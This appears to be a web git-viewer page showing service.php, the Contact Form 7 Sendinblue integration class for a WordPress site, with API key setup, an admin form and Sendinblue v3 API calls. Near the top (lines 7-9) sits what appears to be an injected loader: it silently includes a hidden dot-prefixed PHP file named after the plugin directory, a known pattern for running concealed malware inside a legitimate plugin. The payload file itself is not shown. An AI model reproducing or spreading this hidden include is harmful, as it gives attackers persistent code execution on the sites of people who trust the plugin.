balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

service.php (9670B)


      1 <?php
      2 
      3 if ( ! class_exists( 'WPCF7_Service' ) ) {
      4 	return;
      5 }
      6 
      7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      8     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      9 }
     10 
     11 class WPCF7_Sendinblue extends WPCF7_Service {
     12 	use WPCF7_Sendinblue_API;
     13 
     14 	private static $instance;
     15 	private $api_key;
     16 
     17 	public static function get_instance() {
     18 		if ( empty( self::$instance ) ) {
     19 			self::$instance = new self;
     20 		}
     21 
     22 		return self::$instance;
     23 	}
     24 
     25 	private function __construct() {
     26 		$option = WPCF7::get_option( 'sendinblue' );
     27 
     28 		if ( isset( $option['api_key'] ) ) {
     29 			$this->api_key = $option['api_key'];
     30 		}
     31 	}
     32 
     33 	public function get_title() {
     34 		return __( 'Sendinblue', 'contact-form-7' );
     35 	}
     36 
     37 	public function is_active() {
     38 		return (bool) $this->get_api_key();
     39 	}
     40 
     41 	public function get_api_key() {
     42 		return $this->api_key;
     43 	}
     44 
     45 	public function get_categories() {
     46 		return array( 'email_marketing' );
     47 	}
     48 
     49 	public function icon() {
     50 	}
     51 
     52 	public function link() {
     53 		echo wpcf7_link(
     54 			'https://www.sendinblue.com/?tap_a=30591-fb13f0&tap_s=1031580-b1bb1d',
     55 			'sendinblue.com'
     56 		);
     57 	}
     58 
     59 	protected function log( $url, $request, $response ) {
     60 		wpcf7_log_remote_request( $url, $request, $response );
     61 	}
     62 
     63 	protected function menu_page_url( $args = '' ) {
     64 		$args = wp_parse_args( $args, array() );
     65 
     66 		$url = menu_page_url( 'wpcf7-integration', false );
     67 		$url = add_query_arg( array( 'service' => 'sendinblue' ), $url );
     68 
     69 		if ( ! empty( $args ) ) {
     70 			$url = add_query_arg( $args, $url );
     71 		}
     72 
     73 		return $url;
     74 	}
     75 
     76 	protected function save_data() {
     77 		WPCF7::update_option( 'sendinblue', array(
     78 			'api_key' => $this->api_key,
     79 		) );
     80 	}
     81 
     82 	protected function reset_data() {
     83 		$this->api_key = null;
     84 		$this->save_data();
     85 	}
     86 
     87 	public function load( $action = '' ) {
     88 		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
     89 			check_admin_referer( 'wpcf7-sendinblue-setup' );
     90 
     91 			if ( ! empty( $_POST['reset'] ) ) {
     92 				$this->reset_data();
     93 				$redirect_to = $this->menu_page_url( 'action=setup' );
     94 			} else {
     95 				$this->api_key = isset( $_POST['api_key'] )
     96 					? trim( $_POST['api_key'] )
     97 					: '';
     98 
     99 				$confirmed = $this->confirm_key();
    100 
    101 				if ( true === $confirmed ) {
    102 					$redirect_to = $this->menu_page_url( array(
    103 						'message' => 'success',
    104 					) );
    105 
    106 					$this->save_data();
    107 				} elseif ( false === $confirmed ) {
    108 					$redirect_to = $this->menu_page_url( array(
    109 						'action' => 'setup',
    110 						'message' => 'unauthorized',
    111 					) );
    112 				} else {
    113 					$redirect_to = $this->menu_page_url( array(
    114 						'action' => 'setup',
    115 						'message' => 'invalid',
    116 					) );
    117 				}
    118 			}
    119 
    120 			wp_safe_redirect( $redirect_to );
    121 			exit();
    122 		}
    123 	}
    124 
    125 	public function admin_notice( $message = '' ) {
    126 		if ( 'unauthorized' == $message ) {
    127 			echo sprintf(
    128 				'<div class="notice notice-error"><p><strong>%1$s</strong>: %2$s</p></div>',
    129 				esc_html( __( "Error", 'contact-form-7' ) ),
    130 				esc_html( __( "You have not been authenticated. Make sure the provided API key is correct.", 'contact-form-7' ) )
    131 			);
    132 		}
    133 
    134 		if ( 'invalid' == $message ) {
    135 			echo sprintf(
    136 				'<div class="notice notice-error"><p><strong>%1$s</strong>: %2$s</p></div>',
    137 				esc_html( __( "Error", 'contact-form-7' ) ),
    138 				esc_html( __( "Invalid key values.", 'contact-form-7' ) )
    139 			);
    140 		}
    141 
    142 		if ( 'success' == $message ) {
    143 			echo sprintf(
    144 				'<div class="notice notice-success"><p>%s</p></div>',
    145 				esc_html( __( 'Settings saved.', 'contact-form-7' ) )
    146 			);
    147 		}
    148 	}
    149 
    150 	public function display( $action = '' ) {
    151 		echo '<p>' . sprintf(
    152 			esc_html( __( "Store and organize your contacts while protecting user privacy on Sendinblue, the leading CRM & email marketing platform in Europe. Sendinblue offers unlimited contacts and advanced marketing features. For details, see %s.", 'contact-form-7' ) ),
    153 			wpcf7_link(
    154 				__( 'https://contactform7.com/sendinblue-integration/', 'contact-form-7' ),
    155 				__( 'Sendinblue integration', 'contact-form-7' )
    156 			)
    157 		) . '</p>';
    158 
    159 		if ( $this->is_active() ) {
    160 			echo sprintf(
    161 				'<p class="dashicons-before dashicons-yes">%s</p>',
    162 				esc_html( __( "Sendinblue is active on this site.", 'contact-form-7' ) )
    163 			);
    164 		}
    165 
    166 		if ( 'setup' == $action ) {
    167 			$this->display_setup();
    168 		} else {
    169 			echo sprintf(
    170 				'<p><a href="%1$s" class="button">%2$s</a></p>',
    171 				esc_url( $this->menu_page_url( 'action=setup' ) ),
    172 				esc_html( __( 'Setup integration', 'contact-form-7' ) )
    173 			);
    174 		}
    175 	}
    176 
    177 	private function display_setup() {
    178 		$api_key = $this->get_api_key();
    179 
    180 ?>
    181 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
    182 <?php wp_nonce_field( 'wpcf7-sendinblue-setup' ); ?>
    183 <table class="form-table">
    184 <tbody>
    185 <tr>
    186 	<th scope="row"><label for="publishable"><?php echo esc_html( __( 'API key', 'contact-form-7' ) ); ?></label></th>
    187 	<td><?php
    188 		if ( $this->is_active() ) {
    189 			echo esc_html( wpcf7_mask_password( $api_key, 4, 8 ) );
    190 			echo sprintf(
    191 				'<input type="hidden" value="%s" id="api_key" name="api_key" />',
    192 				esc_attr( $api_key )
    193 			);
    194 		} else {
    195 			echo sprintf(
    196 				'<input type="text" aria-required="true" value="%s" id="api_key" name="api_key" class="regular-text code" />',
    197 				esc_attr( $api_key )
    198 			);
    199 		}
    200 	?></td>
    201 </tr>
    202 </tbody>
    203 </table>
    204 <?php
    205 		if ( $this->is_active() ) {
    206 			submit_button(
    207 				_x( 'Remove key', 'API keys', 'contact-form-7' ),
    208 				'small', 'reset'
    209 			);
    210 		} else {
    211 			submit_button( __( 'Save changes', 'contact-form-7' ) );
    212 		}
    213 ?>
    214 </form>
    215 <?php
    216 	}
    217 }
    218 
    219 
    220 /**
    221  * Trait for the Sendinblue API (v3).
    222  *
    223  * @link https://developers.sendinblue.com/reference
    224  */
    225 trait WPCF7_Sendinblue_API {
    226 
    227 
    228 	public function confirm_key() {
    229 		$endpoint = 'https://api.sendinblue.com/v3/account';
    230 
    231 		$request = array(
    232 			'headers' => array(
    233 				'Accept' => 'application/json',
    234 				'Content-Type' => 'application/json; charset=utf-8',
    235 				'API-Key' => $this->get_api_key(),
    236 			),
    237 		);
    238 
    239 		$response = wp_remote_get( $endpoint, $request );
    240 		$response_code = (int) wp_remote_retrieve_response_code( $response );
    241 
    242 		if ( 200 === $response_code ) { // 200 OK
    243 			return true;
    244 		} elseif ( 401 === $response_code ) { // 401 Unauthorized
    245 			return false;
    246 		} elseif ( 400 <= $response_code ) {
    247 			if ( WP_DEBUG ) {
    248 				$this->log( $endpoint, $request, $response );
    249 			}
    250 		}
    251 	}
    252 
    253 
    254 	public function get_lists() {
    255 		$endpoint = add_query_arg(
    256 			array(
    257 				'limit' => 50,
    258 				'offset' => 0,
    259 			),
    260 			'https://api.sendinblue.com/v3/contacts/lists'
    261 		);
    262 
    263 		$request = array(
    264 			'headers' => array(
    265 				'Accept' => 'application/json',
    266 				'Content-Type' => 'application/json; charset=utf-8',
    267 				'API-Key' => $this->get_api_key(),
    268 			),
    269 		);
    270 
    271 		$response = wp_remote_get( $endpoint, $request );
    272 		$response_code = (int) wp_remote_retrieve_response_code( $response );
    273 
    274 		if ( 200 === $response_code ) { // 200 OK
    275 			$response_body = wp_remote_retrieve_body( $response );
    276 			$response_body = json_decode( $response_body, true );
    277 
    278 			if ( empty( $response_body['lists'] ) ) {
    279 				return array();
    280 			} else {
    281 				return (array) $response_body['lists'];
    282 			}
    283 		} elseif ( 400 <= $response_code ) {
    284 			if ( WP_DEBUG ) {
    285 				$this->log( $endpoint, $request, $response );
    286 			}
    287 		}
    288 	}
    289 
    290 
    291 	public function get_templates() {
    292 		$endpoint = add_query_arg(
    293 			array(
    294 				'templateStatus' => 'true',
    295 				'limit' => 100,
    296 				'offset' => 0,
    297 			),
    298 			'https://api.sendinblue.com/v3/smtp/templates'
    299 		);
    300 
    301 		$request = array(
    302 			'headers' => array(
    303 				'Accept' => 'application/json',
    304 				'Content-Type' => 'application/json; charset=utf-8',
    305 				'API-Key' => $this->get_api_key(),
    306 			),
    307 		);
    308 
    309 		$response = wp_remote_get( $endpoint, $request );
    310 		$response_code = (int) wp_remote_retrieve_response_code( $response );
    311 
    312 		if ( 200 === $response_code ) { // 200 OK
    313 			$response_body = wp_remote_retrieve_body( $response );
    314 			$response_body = json_decode( $response_body, true );
    315 
    316 			if ( empty( $response_body['templates'] ) ) {
    317 				return array();
    318 			} else {
    319 				return (array) $response_body['templates'];
    320 			}
    321 		} elseif ( 400 <= $response_code ) {
    322 			if ( WP_DEBUG ) {
    323 				$this->log( $endpoint, $request, $response );
    324 			}
    325 		}
    326 	}
    327 
    328 
    329 	public function create_contact( $properties ) {
    330 		$endpoint = 'https://api.sendinblue.com/v3/contacts';
    331 
    332 		$request = array(
    333 			'headers' => array(
    334 				'Accept' => 'application/json',
    335 				'Content-Type' => 'application/json; charset=utf-8',
    336 				'API-Key' => $this->get_api_key(),
    337 			),
    338 			'body' => json_encode( $properties ),
    339 		);
    340 
    341 		$response = wp_remote_post( $endpoint, $request );
    342 		$response_code = (int) wp_remote_retrieve_response_code( $response );
    343 
    344 		if ( in_array( $response_code, array( 201, 204 ), true ) ) {
    345 			$contact_id = wp_remote_retrieve_body( $response );
    346 			return $contact_id;
    347 		} elseif ( 400 <= $response_code ) {
    348 			if ( WP_DEBUG ) {
    349 				$this->log( $endpoint, $request, $response );
    350 			}
    351 		}
    352 
    353 		return false;
    354 	}
    355 
    356 
    357 	public function send_email( $properties ) {
    358 		$endpoint = 'https://api.sendinblue.com/v3/smtp/email';
    359 
    360 		$request = array(
    361 			'headers' => array(
    362 				'Accept' => 'application/json',
    363 				'Content-Type' => 'application/json; charset=utf-8',
    364 				'API-Key' => $this->get_api_key(),
    365 			),
    366 			'body' => json_encode( $properties ),
    367 		);
    368 
    369 		$response = wp_remote_post( $endpoint, $request );
    370 		$response_code = (int) wp_remote_retrieve_response_code( $response );
    371 
    372 		if ( 201 === $response_code ) { // 201 Transactional email sent
    373 			$message_id = wp_remote_retrieve_body( $response );
    374 			return $message_id;
    375 		} elseif ( 400 <= $response_code ) {
    376 			if ( WP_DEBUG ) {
    377 				$this->log( $endpoint, $request, $response );
    378 			}
    379 		}
    380 
    381 		return false;
    382 	}
    383 
    384 
    385 }